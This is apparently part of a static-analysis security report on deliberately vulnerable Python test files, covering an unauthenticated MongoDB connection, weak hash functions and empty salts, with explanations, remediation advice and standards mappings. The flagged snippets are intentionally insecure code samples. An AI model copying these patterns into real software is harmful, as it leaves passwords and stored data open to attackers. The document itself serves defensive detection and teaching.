[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II

[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II
[38] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Unauthenticated Service: MongoDB

Description

The application initializes a MongoDB client without setting any credentials.

Explanation

Attackers can target unauthenticated MongoDB servers to compromise the data stored in it and depending on the MongoDB version, to get a foothold on your internal network by compromising the server.

Different attacks can be used against a MongoDB server to get arbitrary code execution on its underlying operating system. For example, vulnerabilities existed in the past that allowed attackers to turn a server-side JavaScript injection into remote code execution. When used to store objects, an attacker can also store deserialization payloads for different languages such as Java, Python, Ruby, PHP, etc. in order to get remote code execution on the deserializing endpoint.

Please note that even if the MongoDB server is not exposed externally, an external attacker may still reach it or the REST API via a Server-Side Request Forgery vulnerability in any application on the same network. For example, MongoDB Servers can be attacked using HTTP or Gopher protocols.

Failure to protect the MongoDB port externally can have a large security impact. For example, an external attacker can use a single remove command to delete the whole data set. Recently, there have been reports of malicious attacks on unsecured instances of MongoDB running openly on the internet. The attacker erased the database and demanded a ransom be paid before restoring it.

Severity

High

Vulnerabilities

File tests\Unauthenticated_Service__MongoDB.py, Line 6, Pos 25

```
6    CONNECTION_STRING = "mongodb://localhost/myFirstDatabase"
```

Recommendations

- Use credentials for connection to the database

Links

[1] MongoDB MongoDB Security (https://docs.mongodb.com/manual/security/)
[2] Standards Mapping - Common Weakness Enumeration CWE ID 259
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000196, CCI-001199, CCI-003109
[6] Standards Mapping - FIPS200 IA
[7] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[10] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[11] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[13] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[14] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[15] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 2.10.2 Service Authentication Requirements, 3.5.2 Token-based Session Management, 3.7.1 Defenses Against Session Management Exploits, 6.4.1 Secret Management, 9.2.3 Server Communications Security Requirements, 10.2.3 Malicious Code Search
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1

[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 2.2 - Secure Defaults, Control Objective 5.1 - Authentication and Access Control
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 2.2 - Secure Defaults, Control Objective 5.1 - Authentication and Access Control
[26] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[27] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I

[46] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[47] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)

Weak Cryptographic Hash

Description

Weak cryptographic hashes cannot guarantee data integrity and should not be used in security-critical contexts.

Explanation

MD2, MD4, MD5, RIPEMD-160, and SHA-1 are popular cryptographic hash algorithms often used to verify the integrity of messages and other data. However, as recent cryptanalysis research has revealed fundamental weaknesses in these algorithms, they should no longer be used within security-critical contexts.

Effective techniques for breaking MD and RIPEMD hashes are widely available, so those algorithms should not be relied upon for security. In the case of SHA-1, current techniques still require a significant amount of computational power and are more difficult to implement. However, attackers have found the Achilles' heel for the algorithm, and techniques for breaking it will likely lead to the discovery of even faster attacks.

Severity

Medium

Vulnerabilities

File tests\Password_Management__Lack_of_Key_Derivation_Function.py, Line 3, Pos 10
```
3 hashed = hashlib.md5(password)
```
File tests\Weak_Cryptographic_Hash.py, Line 5, Pos 10
```
5 hashed = hashlib.md4(something)
```
File tests\Weak_Cryptographic_Hash.py, Line 6, Pos 10
```
6 hashed = hashlib.md5(something)
```
File tests\Weak_Cryptographic_Hash.py, Line 7, Pos 10
```
7 hashed = hashlib.sha1(something)
```
File tests\Weak_Cryptographic_Hash.py, Line 8, Pos 10
```
8 hashed = hashlib.ripemd160(something)
```
File tests\Weak_Cryptographic_Hash.py, Line 10, Pos 5
```
10 h = MD4.new()
```
File tests\Weak_Cryptographic_Hash.py, Line 11, Pos 5
```
11 h = MD5.new()
```
File tests\Weak_Cryptographic_Hash.py, Line 12, Pos 5
```
12 h = RIPEMD.new()
```
File tests\Weak_Cryptographic_Hash.py, Line 13, Pos 5
```
13 h = SHA.new()
```
File tests\Weak_Cryptographic_Hash.py, Line 16, Pos 22
```
16 digest = hashes.Hash(hashes.MD5())
```
File tests\Weak_Cryptographic_Hash.py, Line 17, Pos 22
```
17 digest = hashes.Hash(hashes.SHA1())
```

Recommendations

● Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt, scrypt, and PBKDF2. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Links

[1] Xiaoyun Wang MD5 and MD4 Collision Generators
(https://resources.bishopfox.com/resources/tools/other-free-tools/md4md5-collision-code/)
[2] Xiaoyun Wang, Yiqun Lisa Yin, and Hongbo Yu Finding Collisions in the Full SHA-1
(http://people.csail.mit.edu/yiqun/SHA1AttackProceedingVersion.pdf)
[3] Xiaoyun Wang and Hongbo Yu How to Break MD5 and Other Hash Functions
(https://link.springer.com/content/pdf/10.1007%2F11426639_2.pdf)
[4] SDL Development Practices Microsoft (https://download.microsoft.com/download/8/1/6/816C597A-5592-4867-A0A6-A0181703CD59/Microsoft_Press_eBook_TheSecurityDevelopmentLifecycle_PDF.pdf)
[5] Standards Mapping - Common Weakness Enumeration CWE ID 328
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[7] Standards Mapping - FIPS200 MP
[8] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-13 Cryptographic Protection
[11] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[12] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[13] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[14] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[15] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.4.1 Credential Storage Requirements, 2.4.2 Credential Storage Requirements, 2.4.5 Credential Storage Requirements, 2.6.3 Look-up Secret Verifier Requirements, 2.8.3 Single or Multi Factor One Time Verifier Requirements, 2.9.3 Cryptographic Software and Devices Verifier Requirements, 6.2.1 Algorithms, 6.2.2 Algorithms, 6.2.3 Algorithms, 6.2.4 Algorithms, 6.2.5 Algorithms, 6.2.6 Algorithms,

6.2.7 Algorithms, 8.3.7 Sensitive Private Data, 9.1.2 Communications Security Requirements, 9.1.3 Communications Security Requirements
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3, Requirement 4.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3, Requirement 4.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3, Requirement 4.1
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.1 - Use of Cryptography, Control Objective 7.4 - Use of Cryptography
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.1 - Use of Cryptography, Control Objective 7.4 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[27] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II

[42] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II

Weak Cryptographic Hash: Empty PBE Salt

Description

An empty salt may compromise system security in a way that cannot be easily remedied.

Explanation

It is never a good idea to use an empty salt. Not only does using an empty salt make it significantly easier to determine the hashed values, it also makes fixing the problem extremely difficult. After the code is in production, the salt cannot be easily changed. If attackers figure out that values are hashed with an empty salt, they can compute "rainbow tables" for the application and more easily determine the hashed values.

Example 1: The following code uses an empty salt:

```
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', password, '', 100000)
...
```

This code will run successfully, but anyone who has access to it will have access to the (empty) salt. After the program ships, there is likely no way to change the empty salt. An employee with access to this information can use it to break into the system.

Severity

Medium

Vulnerabilities

File tests\Weak_Cryptographic_Hash__Empty_PBE_Salt.py, Line 4, Pos 1

```
4 hashlib.pbkdf2_hmac(param1, param2, "")
```

File tests\Weak_Cryptographic_Hash__Empty_PBE_Salt.py, Line 6, Pos 1

```
6 pbkdf2(param1, "")
```

Recommendations

● When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

● If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 759
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-13 Cryptographic Protection
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[12] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.4.1 Credential Storage Requirements, 2.4.2 Credential Storage Requirements, 2.4.5 Credential Storage Requirements, 2.6.3 Look-up Secret Verifier Requirements, 2.9.3 Cryptographic Software and Devices Verifier Requirements, 6.2.1 Algorithms, 6.2.2 Algorithms, 8.3.7 Sensitive Private Data, 9.1.2 Communications Security Requirements, 9.1.3 Communications Security Requirements
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.1 - Use of Cryptography, Control Objective 7.4 - Use of Cryptography
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.1 - Use of Cryptography, Control Objective 7.4 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[23] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 759
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II

[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II

Weak Cryptographic Hash: Empty Salt

Description

An empty salt defeats its own purpose and may compromise system security in a way that cannot be easily remedied.

Explanation

It is never a good idea to use an empty salt. Not only does an empty salt defeat its own purpose but it allows all of the project's developers to view the salt and it also makes fixing the problem extremely difficult. After the code is in production, the salt cannot be easily changed. If attackers know the value of the salt, they can compute "rainbow tables" for the application and more easily determine the hashed values.

Example 1: The following code uses an empty salt for password hashing:

```
import hashlib, binascii
...
def register(request):
    password = request.GET['password']
    username = request.GET['username']
...
hash = hashlib.md5("%s:%s" % ("", password,)).hexdigest()
store(username, hash)
...
```

This code will run successfully, but anyone who has access to it will have access to the salt. After the program ships, there is likely no way to change the empty salt. An employee with access to this information can use it to break into the system.

Severity

Medium

Vulnerabilities

File tests\Weak_Cryptographic_Hash__Empty_Salt.py, Line 4, Pos 1

```
4 custom_salt = ""
```

File tests\Weak_Cryptographic_Hash__Empty_Salt.py, Line 6, Pos 1

```
6 datap["saLt"] = ""
```

File tests\Weak_Cryptographic_Hash__Empty_Salt.py, Line 8, Pos 12

```
8 password = make_password(param1, "")
```

File tests\Weak_Cryptographic_Hash__Empty_Salt.py, Line 10, Pos 8

```
10 hmac = salted_hmac(param1, "")
```

Recommendations

● When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

● If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 759
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-13 Cryptographic Protection
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage

[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[12] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.4.1 Credential Storage Requirements, 2.4.2 Credential Storage Requirements, 2.4.5 Credential Storage Requirements, 2.6.3 Look-up Secret Verifier Requirements, 2.9.3 Cryptographic Software and Devices Verifier Requirements, 6.2.1 Algorithms, 6.2.2 Algorithms, 8.3.7 Sensitive Private Data, 9.1.2 Communications Security Requirements, 9.1.3 Communications Security Requirements
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.1 - Use of Cryptography, Control Objective 7.4 - Use of Cryptography
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.1 - Use of Cryptography, Control Objective 7.4 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[23] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 759
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II

[36] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II, APSC-DV-002020 CAT II, APSC-DV-002030 CAT II

